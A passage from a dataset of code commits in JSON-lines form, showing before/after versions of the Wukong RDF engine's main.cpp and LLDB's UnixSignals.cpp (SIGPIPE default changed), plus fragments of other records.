::rtl::OUStringBuffer sAuthorBuffer;\n ::rtl::OUStringBuffer sDateTimeBuffer;\n ::rtl::OUStringBuffer sCommentBuffer;\n\n XMLChangedRegionImportContext& rChangedRegion;\n\npublic:\n\n TYPEINFO();\n\n XMLChangeInfoContext(\n SvXMLImport& rImport,\n sal_uInt16 nPrefix,\n const ::rtl::OUString& rLocalName,\n XMLChangedRegionImportContext& rChangedRegion,\n const ::rtl::OUString& rChangeType);\n\n ~XMLChangeInfoContext();\n\n virtual void StartElement(\n const ::com::sun::star::uno::Reference<\n ::com::sun::star::xml::sax::XAttributeList> & xAttrList);\n\n virtual SvXMLImportContext *CreateChildContext(\n USHORT nPrefix,\n const ::rtl::OUString& rLocalName,\n const ::com::sun::star::uno::Reference<\n ::com::sun::star::xml::sax::XAttributeList >& xAttrList );\n\n virtual void EndElement();\n\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Protect X11 with ifdef USE_X11 in global commands test<commit_after><|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2016 Shanghai Jiao Tong University.\n * All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an \"AS\n * IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n * express or implied. See the License for the specific language\n * governing permissions and limitations under the License.\n *\n * For more about this software visit:\n *\n * http:\/\/ipads.se.sjtu.edu.cn\/projects\/wukong\n *\n *\/\n\n#include <map>\n#include <boost\/mpi.hpp>\n#include <iostream>\n\n#include \"global.hpp\"\n#include \"conflict.hpp\"\n#include \"config.hpp\"\n#include \"bind.hpp\"\n#include \"mem.hpp\"\n#ifdef USE_GPU\n#include \"gpu_mem.hpp\"\n#endif\n#include \"string_server.hpp\"\n#include \"dgraph.hpp\"\n#include \"proxy.hpp\"\n#include \"console.hpp\"\n#include \"rdma.hpp\"\n#include \"data_statistic.hpp\"\n#include \"logger2.hpp\"\n\n#include \"engine\/engine.hpp\"\n#include \"comm\/adaptor.hpp\"\n\n#include \"unit.hpp\"\n\nvoid *engine_thread(void *arg)\n{\n Engine *engine = (Engine *)arg;\n if (enable_binding && core_bindings.count(engine->tid) != 0)\n bind_to_core(core_bindings[engine->tid]);\n else\n bind_to_core(default_bindings[engine->tid % num_cores]);\n\n engine->run();\n}\n\nvoid *proxy_thread(void *arg)\n{\n Proxy *proxy = (Proxy *)arg;\n if (enable_binding && core_bindings.count(proxy->tid) != 0)\n bind_to_core(core_bindings[proxy->tid]);\n else\n bind_to_core(default_bindings[proxy->tid % num_cores]);\n\n \/\/ run the builtin console\n run_console(proxy);\n}\n\nstatic void\nusage(char *fn)\n{\n cout << \"usage: \" << fn << \" <config_fname> <host_fname> [options]\" << endl;\n cout << \"options:\" << endl;\n cout << \" -b binding : the file of core binding\" << endl;\n cout << \" -c command : the one-shot command\" << endl;\n}\n\nint\nmain(int argc, char *argv[])\n{\n conflict_detector();\n\n boost::mpi::environment env(argc, argv);\n boost::mpi::communicator world;\n int sid = world.rank(); \/\/ server ID\n\n if (argc < 3) {\n usage(argv[0]);\n exit(EXIT_FAILURE);\n }\n\n \/\/ load global configs\n load_config(string(argv[1]), world.size());\n\n \/\/ set the address file of host\/cluster\n string host_fname = std::string(argv[2]);\n\n \/\/ load CPU topology by hwloc\n load_node_topo();\n logstream(LOG_INFO) << \"#\" << sid << \": has \" << num_cores << \" cores.\" << LOG_endl;\n\n int c;\n while ((c = getopt(argc - 2, argv + 2, \"b:c:\")) != -1) {\n switch (c) {\n case 'b':\n enable_binding = load_core_binding(optarg);\n break;\n case 'c':\n enable_oneshot = true;\n oneshot_cmd = optarg;\n break;\n default:\n usage(argv[0]);\n exit(EXIT_FAILURE);\n }\n }\n\n \/\/ allocate memory regions\n vector<RDMA::MemoryRegion> mrs;\n\n \/\/ rdma broadcast memory\n vector<Broadcast_Mem *> bc_mems;\n Broadcast_Mem *mb_mem = new Broadcast_Mem(global_num_servers, global_num_threads);\n bc_mems.push_back(mb_mem);\n \/\/ CPU (host) memory\n Mem *mem = new Mem(global_num_servers, global_num_threads, bc_mems);\n logstream(LOG_INFO) << \"#\" << sid << \": allocate \" << B2GiB(mem->size()) << \"GB memory\" << LOG_endl;\n RDMA::MemoryRegion mr_cpu = { RDMA::MemType::CPU, mem->address(), mem->size(), mem };\n mrs.push_back(mr_cpu);\n\n#ifdef USE_GPU\n \/\/ GPU (device) memory\n int devid = 0; \/\/ FIXME: it means one GPU device?\n GPUMem *gpu_mem = new GPUMem(devid, global_num_servers, global_num_gpus);\n logstream(LOG_INFO) << \"#\" << sid << \": allocate \" << B2GiB(gpu_mem->size()) << \"GB GPU memory\" << LOG_endl;\n RDMA::MemoryRegion mr_gpu = { RDMA::MemType::GPU, gpu_mem->address(), gpu_mem->size(), gpu_mem };\n mrs.push_back(mr_gpu);\n#endif\n\n \/\/ two additional threads,\n \/\/ one for broadcast master, another for broadcast slave\n int rdma_init_nthreads = global_num_threads + 2;\n \/\/ init RDMA devices and connections\n RDMA_init(global_num_servers, rdma_init_nthreads, sid, mrs, host_fname);\n\n \/\/ init communication\n RDMA_Adaptor *rdma_adaptor = new RDMA_Adaptor(sid, mrs,\n global_num_servers, global_num_threads);\n TCP_Adaptor *tcp_adaptor = new TCP_Adaptor(sid, host_fname, global_data_port_base,\n global_num_servers, global_num_threads);\n\n \/\/ init control communicaiton\n con_adaptor = new TCP_Adaptor(sid, host_fname, global_ctrl_port_base,\n global_num_servers, global_num_proxies);\n\n \/\/ load string server (read-only, shared by all proxies and all engines)\n String_Server str_server(global_input_folder);\n\n \/\/ load RDF graph (shared by all engines and proxies)\n DGraph dgraph(sid, mem, &str_server, global_input_folder);\n\n \/\/ prepare statistics for SPARQL optimizer\n data_statistic stat(sid);\n if (global_generate_statistics) {\n uint64_t t0 = timer::get_usec();\n dgraph.generate_statistic(stat);\n uint64_t t1 = timer::get_usec();\n logstream(LOG_EMPH) << \"generate_statistic using time: \" << t1 - t0 << \"usec\" << LOG_endl;\n stat.gather_stat(con_adaptor);\n } else {\n \/\/ use the dataset name by default\n string fname = global_input_folder + \"\/statfile\";\n stat.load_stat_from_file(fname, con_adaptor);\n }\n\n \/\/ create proxies and engines\n ASSERT(global_num_threads == global_num_proxies + global_num_engines);\n for (int tid = 0; tid < global_num_threads; tid++) {\n Adaptor *adaptor = new Adaptor(tid, tcp_adaptor, rdma_adaptor);\n\n \/\/ TID: proxy = [0, #proxies), engine = [#proxies, #proxies + #engines)\n if (tid < global_num_proxies) {\n Proxy *proxy = new Proxy(sid, tid, &str_server, &dgraph, adaptor, &stat);\n proxies.push_back(proxy);\n } else {\n Engine *engine = new Engine(sid, tid, &str_server, &dgraph, adaptor);\n engines.push_back(engine);\n }\n }\n\n \/\/ launch all proxies and engines\n pthread_t *threads = new pthread_t[global_num_threads];\n for (int tid = 0; tid < global_num_threads; tid++) {\n \/\/ TID: proxy = [0, #proxies), engine = [#proxies, #proxies + #engines)\n if (tid < global_num_proxies)\n pthread_create(&(threads[tid]), NULL, proxy_thread, (void *)proxies[tid]);\n else\n pthread_create(&(threads[tid]), NULL, engine_thread, (void *)engines[tid - global_num_proxies]);\n }\n\n \/\/ wait to all threads termination\n for (size_t t = 0; t < global_num_threads; t++) {\n if (int rc = pthread_join(threads[t], NULL)) {\n logger(LOG_ERROR, \"return code from pthread_join() is %d\\n\", rc);\n exit(-1);\n }\n }\n\n \/\/\/ TODO: exit gracefully (properly call MPI_Init() and MPI_Finalize(), delete all objects)\n return 0;\n}\n<commit_msg>name refine<commit_after>\/*\n * Copyright (c) 2016 Shanghai Jiao Tong University.\n * All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an \"AS\n * IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n * express or implied. See the License for the specific language\n * governing permissions and limitations under the License.\n *\n * For more about this software visit:\n *\n * http:\/\/ipads.se.sjtu.edu.cn\/projects\/wukong\n *\n *\/\n\n#include <map>\n#include <boost\/mpi.hpp>\n#include <iostream>\n\n#include \"global.hpp\"\n#include \"conflict.hpp\"\n#include \"config.hpp\"\n#include \"bind.hpp\"\n#include \"mem.hpp\"\n#ifdef USE_GPU\n#include \"gpu_mem.hpp\"\n#endif\n#include \"string_server.hpp\"\n#include \"dgraph.hpp\"\n#include \"proxy.hpp\"\n#include \"console.hpp\"\n#include \"rdma.hpp\"\n#include \"data_statistic.hpp\"\n#include \"logger2.hpp\"\n\n#include \"engine\/engine.hpp\"\n#include \"comm\/adaptor.hpp\"\n\n#include \"unit.hpp\"\n\nvoid *engine_thread(void *arg)\n{\n Engine *engine = (Engine *)arg;\n if (enable_binding && core_bindings.count(engine->tid) != 0)\n bind_to_core(core_bindings[engine->tid]);\n else\n bind_to_core(default_bindings[engine->tid % num_cores]);\n\n engine->run();\n}\n\nvoid *proxy_thread(void *arg)\n{\n Proxy *proxy = (Proxy *)arg;\n if (enable_binding && core_bindings.count(proxy->tid) != 0)\n bind_to_core(core_bindings[proxy->tid]);\n else\n bind_to_core(default_bindings[proxy->tid % num_cores]);\n\n \/\/ run the builtin console\n run_console(proxy);\n}\n\nstatic void\nusage(char *fn)\n{\n cout << \"usage: \" << fn << \" <config_fname> <host_fname> [options]\" << endl;\n cout << \"options:\" << endl;\n cout << \" -b binding : the file of core binding\" << endl;\n cout << \" -c command : the one-shot command\" << endl;\n}\n\nint\nmain(int argc, char *argv[])\n{\n conflict_detector();\n\n boost::mpi::environment env(argc, argv);\n boost::mpi::communicator world;\n int sid = world.rank(); \/\/ server ID\n\n if (argc < 3) {\n usage(argv[0]);\n exit(EXIT_FAILURE);\n }\n\n \/\/ load global configs\n load_config(string(argv[1]), world.size());\n\n \/\/ set the address file of host\/cluster\n string host_fname = std::string(argv[2]);\n\n \/\/ load CPU topology by hwloc\n load_node_topo();\n logstream(LOG_INFO) << \"#\" << sid << \": has \" << num_cores << \" cores.\" << LOG_endl;\n\n int c;\n while ((c = getopt(argc - 2, argv + 2, \"b:c:\")) != -1) {\n switch (c) {\n case 'b':\n enable_binding = load_core_binding(optarg);\n break;\n case 'c':\n enable_oneshot = true;\n oneshot_cmd = optarg;\n break;\n default:\n usage(argv[0]);\n exit(EXIT_FAILURE);\n }\n }\n\n \/\/ allocate memory regions\n vector<RDMA::MemoryRegion> mrs;\n\n \/\/ rdma broadcast memory\n vector<Broadcast_Mem *> bcast_mems;\n Broadcast_Mem *ss_bcast_mem = new Broadcast_Mem(global_num_servers, global_num_threads);\n bcast_mems.push_back(ss_bcast_mem);\n \/\/ CPU (host) memory\n Mem *mem = new Mem(global_num_servers, global_num_threads, bcast_mems);\n logstream(LOG_INFO) << \"#\" << sid << \": allocate \" << B2GiB(mem->size()) << \"GB memory\" << LOG_endl;\n RDMA::MemoryRegion mr_cpu = { RDMA::MemType::CPU, mem->address(), mem->size(), mem };\n mrs.push_back(mr_cpu);\n\n#ifdef USE_GPU\n \/\/ GPU (device) memory\n int devid = 0; \/\/ FIXME: it means one GPU device?\n GPUMem *gpu_mem = new GPUMem(devid, global_num_servers, global_num_gpus);\n logstream(LOG_INFO) << \"#\" << sid << \": allocate \" << B2GiB(gpu_mem->size()) << \"GB GPU memory\" << LOG_endl;\n RDMA::MemoryRegion mr_gpu = { RDMA::MemType::GPU, gpu_mem->address(), gpu_mem->size(), gpu_mem };\n mrs.push_back(mr_gpu);\n#endif\n\n \/\/ RDMA full-link communication\n int flink_nthreads = global_num_proxies + global_num_engines;\n \/\/ RDMA broadcast communication\n int bcast_nthreads = 2;\n int rdma_init_nthreads = flink_nthreads + bcast_nthreads;\n \/\/ init RDMA devices and connections\n RDMA_init(global_num_servers, rdma_init_nthreads, sid, mrs, host_fname);\n\n \/\/ init communication\n RDMA_Adaptor *rdma_adaptor = new RDMA_Adaptor(sid, mrs,\n global_num_servers, global_num_threads);\n TCP_Adaptor *tcp_adaptor = new TCP_Adaptor(sid, host_fname, global_data_port_base,\n global_num_servers, global_num_threads);\n\n \/\/ init control communicaiton\n con_adaptor = new TCP_Adaptor(sid, host_fname, global_ctrl_port_base,\n global_num_servers, global_num_proxies);\n\n \/\/ load string server (read-only, shared by all proxies and all engines)\n String_Server str_server(global_input_folder);\n\n \/\/ load RDF graph (shared by all engines and proxies)\n DGraph dgraph(sid, mem, &str_server, global_input_folder);\n\n \/\/ prepare statistics for SPARQL optimizer\n data_statistic stat(sid);\n if (global_generate_statistics) {\n uint64_t t0 = timer::get_usec();\n dgraph.generate_statistic(stat);\n uint64_t t1 = timer::get_usec();\n logstream(LOG_EMPH) << \"generate_statistic using time: \" << t1 - t0 << \"usec\" << LOG_endl;\n stat.gather_stat(con_adaptor);\n } else {\n \/\/ use the dataset name by default\n string fname = global_input_folder + \"\/statfile\";\n stat.load_stat_from_file(fname, con_adaptor);\n }\n\n \/\/ create proxies and engines\n ASSERT(global_num_threads == global_num_proxies + global_num_engines);\n for (int tid = 0; tid < global_num_threads; tid++) {\n Adaptor *adaptor = new Adaptor(tid, tcp_adaptor, rdma_adaptor);\n\n \/\/ TID: proxy = [0, #proxies), engine = [#proxies, #proxies + #engines)\n if (tid < global_num_proxies) {\n Proxy *proxy = new Proxy(sid, tid, &str_server, &dgraph, adaptor, &stat);\n proxies.push_back(proxy);\n } else {\n Engine *engine = new Engine(sid, tid, &str_server, &dgraph, adaptor);\n engines.push_back(engine);\n }\n }\n\n \/\/ launch all proxies and engines\n pthread_t *threads = new pthread_t[global_num_threads];\n for (int tid = 0; tid < global_num_threads; tid++) {\n \/\/ TID: proxy = [0, #proxies), engine = [#proxies, #proxies + #engines)\n if (tid < global_num_proxies)\n pthread_create(&(threads[tid]), NULL, proxy_thread, (void *)proxies[tid]);\n else\n pthread_create(&(threads[tid]), NULL, engine_thread, (void *)engines[tid - global_num_proxies]);\n }\n\n \/\/ wait to all threads termination\n for (size_t t = 0; t < global_num_threads; t++) {\n if (int rc = pthread_join(threads[t], NULL)) {\n logger(LOG_ERROR, \"return code from pthread_join() is %d\\n\", rc);\n exit(-1);\n }\n }\n\n \/\/\/ TODO: exit gracefully (properly call MPI_Init() and MPI_Finalize(), delete all objects)\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- UnixSignals.cpp -----------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ C Includes\n\/\/ C++ Includes\n\/\/ Other libraries and framework includes\n\/\/ Project includes\n#include \"lldb\/Target\/UnixSignals.h\"\n#include \"Plugins\/Process\/Utility\/FreeBSDSignals.h\"\n#include \"Plugins\/Process\/Utility\/LinuxSignals.h\"\n#include \"Plugins\/Process\/Utility\/MipsLinuxSignals.h\"\n#include \"Plugins\/Process\/Utility\/NetBSDSignals.h\"\n#include \"lldb\/Host\/StringConvert.h\"\n#include \"lldb\/Utility\/ArchSpec.h\"\n\nusing namespace lldb_private;\n\nUnixSignals::Signal::Signal(const char *name, bool default_suppress,\n bool default_stop, bool default_notify,\n const char *description, const char *alias)\n : m_name(name), m_alias(alias), m_description(),\n m_suppress(default_suppress), m_stop(default_stop),\n m_notify(default_notify) {\n if (description)\n m_description.assign(description);\n}\n\nlldb::UnixSignalsSP UnixSignals::Create(const ArchSpec &arch) {\n const auto &triple = arch.GetTriple();\n switch (triple.getOS()) {\n case llvm::Triple::Linux: {\n switch (triple.getArch()) {\n case llvm::Triple::mips:\n case llvm::Triple::mipsel:\n case llvm::Triple::mips64:\n case llvm::Triple::mips64el:\n return std::make_shared<MipsLinuxSignals>();\n default:\n return std::make_shared<LinuxSignals>();\n }\n }\n case llvm::Triple::FreeBSD:\n case llvm::Triple::OpenBSD:\n return std::make_shared<FreeBSDSignals>();\n case llvm::Triple::NetBSD:\n return std::make_shared<NetBSDSignals>();\n default:\n return std::make_shared<UnixSignals>();\n }\n}\n\n\/\/----------------------------------------------------------------------\n\/\/ UnixSignals constructor\n\/\/----------------------------------------------------------------------\nUnixSignals::UnixSignals() { Reset(); }\n\nUnixSignals::UnixSignals(const UnixSignals &rhs) : m_signals(rhs.m_signals) {}\n\nUnixSignals::~UnixSignals() = default;\n\nvoid UnixSignals::Reset() {\n \/\/ This builds one standard set of Unix Signals. If yours aren't quite in\n \/\/ this order, you can either subclass this class, and use Add & Remove to\n \/\/ change them\n \/\/ or you can subclass and build them afresh in your constructor;\n \/\/\n \/\/ Note: the signals below are the Darwin signals. Do not change these!\n m_signals.clear();\n \/\/ SIGNO NAME SUPPRESS STOP NOTIFY DESCRIPTION\n \/\/ ====== ============ ======== ====== ======\n \/\/ ===================================================\n AddSignal(1, \"SIGHUP\", false, true, true, \"hangup\");\n AddSignal(2, \"SIGINT\", true, true, true, \"interrupt\");\n AddSignal(3, \"SIGQUIT\", false, true, true, \"quit\");\n AddSignal(4, \"SIGILL\", false, true, true, \"illegal instruction\");\n AddSignal(5, \"SIGTRAP\", true, true, true,\n \"trace trap (not reset when caught)\");\n AddSignal(6, \"SIGABRT\", false, true, true, \"abort()\");\n AddSignal(7, \"SIGEMT\", false, true, true, \"pollable event\");\n AddSignal(8, \"SIGFPE\", false, true, true, \"floating point exception\");\n AddSignal(9, \"SIGKILL\", false, true, true, \"kill\");\n AddSignal(10, \"SIGBUS\", false, true, true, \"bus error\");\n AddSignal(11, \"SIGSEGV\", false, true, true, \"segmentation violation\");\n AddSignal(12, \"SIGSYS\", false, true, true, \"bad argument to system call\");\n AddSignal(13, \"SIGPIPE\", false, true, true,\n \"write on a pipe with no one to read it\");\n AddSignal(14, \"SIGALRM\", false, false, false, \"alarm clock\");\n AddSignal(15, \"SIGTERM\", false, true, true,\n \"software termination signal from kill\");\n AddSignal(16, \"SIGURG\", false, false, false,\n \"urgent condition on IO channel\");\n AddSignal(17, \"SIGSTOP\", true, true, true,\n \"sendable stop signal not from tty\");\n AddSignal(18, \"SIGTSTP\", false, true, true, \"stop signal from tty\");\n AddSignal(19, \"SIGCONT\", false, true, true, \"continue a stopped process\");\n AddSignal(20, \"SIGCHLD\", false, false, false,\n \"to parent on child stop or exit\");\n AddSignal(21, \"SIGTTIN\", false, true, true,\n \"to readers process group upon background tty read\");\n AddSignal(22, \"SIGTTOU\", false, true, true,\n \"to readers process group upon background tty write\");\n AddSignal(23, \"SIGIO\", false, false, false, \"input\/output possible signal\");\n AddSignal(24, \"SIGXCPU\", false, true, true, \"exceeded CPU time limit\");\n AddSignal(25, \"SIGXFSZ\", false, true, true, \"exceeded file size limit\");\n AddSignal(26, \"SIGVTALRM\", false, false, false, \"virtual time alarm\");\n AddSignal(27, \"SIGPROF\", false, false, false, \"profiling time alarm\");\n AddSignal(28, \"SIGWINCH\", false, false, false, \"window size changes\");\n AddSignal(29, \"SIGINFO\", false, true, true, \"information request\");\n AddSignal(30, \"SIGUSR1\", false, true, true, \"user defined signal 1\");\n AddSignal(31, \"SIGUSR2\", false, true, true, \"user defined signal 2\");\n}\n\nvoid UnixSignals::AddSignal(int signo, const char *name, bool default_suppress,\n bool default_stop, bool default_notify,\n const char *description, const char *alias) {\n Signal new_signal(name, default_suppress, default_stop, default_notify,\n description, alias);\n m_signals.insert(std::make_pair(signo, new_signal));\n ++m_version;\n}\n\nvoid UnixSignals::RemoveSignal(int signo) {\n collection::iterator pos = m_signals.find(signo);\n if (pos != m_signals.end())\n m_signals.erase(pos);\n ++m_version;\n}\n\nconst char *UnixSignals::GetSignalAsCString(int signo) const {\n collection::const_iterator pos = m_signals.find(signo);\n if (pos == m_signals.end())\n return nullptr;\n else\n return pos->second.m_name.GetCString();\n}\n\nbool UnixSignals::SignalIsValid(int32_t signo) const {\n return m_signals.find(signo) != m_signals.end();\n}\n\nConstString UnixSignals::GetShortName(ConstString name) const {\n if (name) {\n const char *signame = name.AsCString();\n return ConstString(signame + 3); \/\/ Remove \"SIG\" from name\n }\n return name;\n}\n\nint32_t UnixSignals::GetSignalNumberFromName(const char *name) const {\n ConstString const_name(name);\n\n collection::const_iterator pos, end = m_signals.end();\n for (pos = m_signals.begin(); pos != end; pos++) {\n if ((const_name == pos->second.m_name) ||\n (const_name == pos->second.m_alias) ||\n (const_name == GetShortName(pos->second.m_name)) ||\n (const_name == GetShortName(pos->second.m_alias)))\n return pos->first;\n }\n\n const int32_t signo =\n StringConvert::ToSInt32(name, LLDB_INVALID_SIGNAL_NUMBER, 0);\n if (signo != LLDB_INVALID_SIGNAL_NUMBER)\n return signo;\n return LLDB_INVALID_SIGNAL_NUMBER;\n}\n\nint32_t UnixSignals::GetFirstSignalNumber() const {\n if (m_signals.empty())\n return LLDB_INVALID_SIGNAL_NUMBER;\n\n return (*m_signals.begin()).first;\n}\n\nint32_t UnixSignals::GetNextSignalNumber(int32_t current_signal) const {\n collection::const_iterator pos = m_signals.find(current_signal);\n collection::const_iterator end = m_signals.end();\n if (pos == end)\n return LLDB_INVALID_SIGNAL_NUMBER;\n else {\n pos++;\n if (pos == end)\n return LLDB_INVALID_SIGNAL_NUMBER;\n else\n return pos->first;\n }\n}\n\nconst char *UnixSignals::GetSignalInfo(int32_t signo, bool &should_suppress,\n bool &should_stop,\n bool &should_notify) const {\n collection::const_iterator pos = m_signals.find(signo);\n if (pos == m_signals.end())\n return nullptr;\n else {\n const Signal &signal = pos->second;\n should_suppress = signal.m_suppress;\n should_stop = signal.m_stop;\n should_notify = signal.m_notify;\n return signal.m_name.AsCString(\"\");\n }\n}\n\nbool UnixSignals::GetShouldSuppress(int signo) const {\n collection::const_iterator pos = m_signals.find(signo);\n if (pos != m_signals.end())\n return pos->second.m_suppress;\n return false;\n}\n\nbool UnixSignals::SetShouldSuppress(int signo, bool value) {\n collection::iterator pos = m_signals.find(signo);\n if (pos != m_signals.end()) {\n pos->second.m_suppress = value;\n ++m_version;\n return true;\n }\n return false;\n}\n\nbool UnixSignals::SetShouldSuppress(const char *signal_name, bool value) {\n const int32_t signo = GetSignalNumberFromName(signal_name);\n if (signo != LLDB_INVALID_SIGNAL_NUMBER)\n return SetShouldSuppress(signo, value);\n return false;\n}\n\nbool UnixSignals::GetShouldStop(int signo) const {\n collection::const_iterator pos = m_signals.find(signo);\n if (pos != m_signals.end())\n return pos->second.m_stop;\n return false;\n}\n\nbool UnixSignals::SetShouldStop(int signo, bool value) {\n collection::iterator pos = m_signals.find(signo);\n if (pos != m_signals.end()) {\n pos->second.m_stop = value;\n ++m_version;\n return true;\n }\n return false;\n}\n\nbool UnixSignals::SetShouldStop(const char *signal_name, bool value) {\n const int32_t signo = GetSignalNumberFromName(signal_name);\n if (signo != LLDB_INVALID_SIGNAL_NUMBER)\n return SetShouldStop(signo, value);\n return false;\n}\n\nbool UnixSignals::GetShouldNotify(int signo) const {\n collection::const_iterator pos = m_signals.find(signo);\n if (pos != m_signals.end())\n return pos->second.m_notify;\n return false;\n}\n\nbool UnixSignals::SetShouldNotify(int signo, bool value) {\n collection::iterator pos = m_signals.find(signo);\n if (pos != m_signals.end()) {\n pos->second.m_notify = value;\n ++m_version;\n return true;\n }\n return false;\n}\n\nbool UnixSignals::SetShouldNotify(const char *signal_name, bool value) {\n const int32_t signo = GetSignalNumberFromName(signal_name);\n if (signo != LLDB_INVALID_SIGNAL_NUMBER)\n return SetShouldNotify(signo, value);\n return false;\n}\n\nint32_t UnixSignals::GetNumSignals() const { return m_signals.size(); }\n\nint32_t UnixSignals::GetSignalAtIndex(int32_t index) const {\n if (index < 0 || m_signals.size() <= static_cast<size_t>(index))\n return LLDB_INVALID_SIGNAL_NUMBER;\n auto it = m_signals.begin();\n std::advance(it, index);\n return it->first;\n}\n\nuint64_t UnixSignals::GetVersion() const { return m_version; }\n\nstd::vector<int32_t>\nUnixSignals::GetFilteredSignals(llvm::Optional<bool> should_suppress,\n llvm::Optional<bool> should_stop,\n llvm::Optional<bool> should_notify) {\n std::vector<int32_t> result;\n for (int32_t signo = GetFirstSignalNumber();\n signo != LLDB_INVALID_SIGNAL_NUMBER;\n signo = GetNextSignalNumber(signo)) {\n\n bool signal_suppress = false;\n bool signal_stop = false;\n bool signal_notify = false;\n GetSignalInfo(signo, signal_suppress, signal_stop, signal_notify);\n\n \/\/ If any of filtering conditions are not met, we move on to the next\n \/\/ signal.\n if (should_suppress.hasValue() &&\n signal_suppress != should_suppress.getValue())\n continue;\n\n if (should_stop.hasValue() && signal_stop != should_stop.getValue())\n continue;\n\n if (should_notify.hasValue() && signal_notify != should_notify.getValue())\n continue;\n\n result.push_back(signo);\n }\n\n return result;\n}\n<commit_msg>Change the default handling for SIGPIPE to pass\/,no-stop\/no-notify.<commit_after>\/\/===-- UnixSignals.cpp -----------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ C Includes\n\/\/ C++ Includes\n\/\/ Other libraries and framework includes\n\/\/ Project includes\n#include \"lldb\/Target\/UnixSignals.h\"\n#include \"Plugins\/Process\/Utility\/FreeBSDSignals.h\"\n#include \"Plugins\/Process\/Utility\/LinuxSignals.h\"\n#include \"Plugins\/Process\/Utility\/MipsLinuxSignals.h\"\n#include \"Plugins\/Process\/Utility\/NetBSDSignals.h\"\n#include \"lldb\/Host\/StringConvert.h\"\n#include \"lldb\/Utility\/ArchSpec.h\"\n\nusing namespace lldb_private;\n\nUnixSignals::Signal::Signal(const char *name, bool default_suppress,\n bool default_stop, bool default_notify,\n const char *description, const char *alias)\n : m_name(name), m_alias(alias), m_description(),\n m_suppress(default_suppress), m_stop(default_stop),\n m_notify(default_notify) {\n if (description)\n m_description.assign(description);\n}\n\nlldb::UnixSignalsSP UnixSignals::Create(const ArchSpec &arch) {\n const auto &triple = arch.GetTriple();\n switch (triple.getOS()) {\n case llvm::Triple::Linux: {\n switch (triple.getArch()) {\n case llvm::Triple::mips:\n case llvm::Triple::mipsel:\n case llvm::Triple::mips64:\n case llvm::Triple::mips64el:\n return std::make_shared<MipsLinuxSignals>();\n default:\n return std::make_shared<LinuxSignals>();\n }\n }\n case llvm::Triple::FreeBSD:\n case llvm::Triple::OpenBSD:\n return std::make_shared<FreeBSDSignals>();\n case llvm::Triple::NetBSD:\n return std::make_shared<NetBSDSignals>();\n default:\n return std::make_shared<UnixSignals>();\n }\n}\n\n\/\/----------------------------------------------------------------------\n\/\/ UnixSignals constructor\n\/\/----------------------------------------------------------------------\nUnixSignals::UnixSignals() { Reset(); }\n\nUnixSignals::UnixSignals(const UnixSignals &rhs) : m_signals(rhs.m_signals) {}\n\nUnixSignals::~UnixSignals() = default;\n\nvoid UnixSignals::Reset() {\n \/\/ This builds one standard set of Unix Signals. If yours aren't quite in\n \/\/ this order, you can either subclass this class, and use Add & Remove to\n \/\/ change them\n \/\/ or you can subclass and build them afresh in your constructor;\n \/\/\n \/\/ Note: the signals below are the Darwin signals. Do not change these!\n m_signals.clear();\n \/\/ SIGNO NAME SUPPRESS STOP NOTIFY DESCRIPTION\n \/\/ ====== ============ ======== ====== ======\n \/\/ ===================================================\n AddSignal(1, \"SIGHUP\", false, true, true, \"hangup\");\n AddSignal(2, \"SIGINT\", true, true, true, \"interrupt\");\n AddSignal(3, \"SIGQUIT\", false, true, true, \"quit\");\n AddSignal(4, \"SIGILL\", false, true, true, \"illegal instruction\");\n AddSignal(5, \"SIGTRAP\", true, true, true,\n \"trace trap (not reset when caught)\");\n AddSignal(6, \"SIGABRT\", false, true, true, \"abort()\");\n AddSignal(7, \"SIGEMT\", false, true, true, \"pollable event\");\n AddSignal(8, \"SIGFPE\", false, true, true, \"floating point exception\");\n AddSignal(9, \"SIGKILL\", false, true, true, \"kill\");\n AddSignal(10, \"SIGBUS\", false, true, true, \"bus error\");\n AddSignal(11, \"SIGSEGV\", false, true, true, \"segmentation violation\");\n AddSignal(12, \"SIGSYS\", false, true, true, \"bad argument to system call\");\n AddSignal(13, \"SIGPIPE\", false, false, false,\n \"write on a pipe with no one to read it\");\n AddSignal(14, \"SIGALRM\", false, false, false, \"alarm clock\");\n AddSignal(15, \"SIGTERM\", false, true, true,\n \"software termination signal from kill\");\n AddSignal(16, \"SIGURG\", false, false, false,\n \"urgent condition on IO channel\");\n AddSignal(17, \"SIGSTOP\", true, true, true,\n \"sendable stop signal not from tty\");\n AddSignal(18, \"SIGTSTP\", false, true, true, \"stop signal from tty\");\n AddSignal(19, \"SIGCONT\", false, true, true, \"continue a stopped process\");\n AddSignal(20, \"SIGCHLD\", false, false, false,\n \"to parent on child stop or exit\");\n AddSignal(21, \"SIGTTIN\", false, true, true,\n \"to readers process group upon background tty read\");\n AddSignal(22, \"SIGTTOU\", false, true, true,\n \"to readers process group upon background tty write\");\n AddSignal(23, \"SIGIO\", false, false, false, \"input\/output possible signal\");\n AddSignal(24, \"SIGXCPU\", false, true, true, \"exceeded CPU time limit\");\n AddSignal(25, \"SIGXFSZ\", false, true, true, \"exceeded file size limit\");\n AddSignal(26, \"SIGVTALRM\", false, false, false, \"virtual time alarm\");\n AddSignal(27, \"SIGPROF\", false, false, false, \"profiling time alarm\");\n AddSignal(28, \"SIGWINCH\", false, false, false, \"window 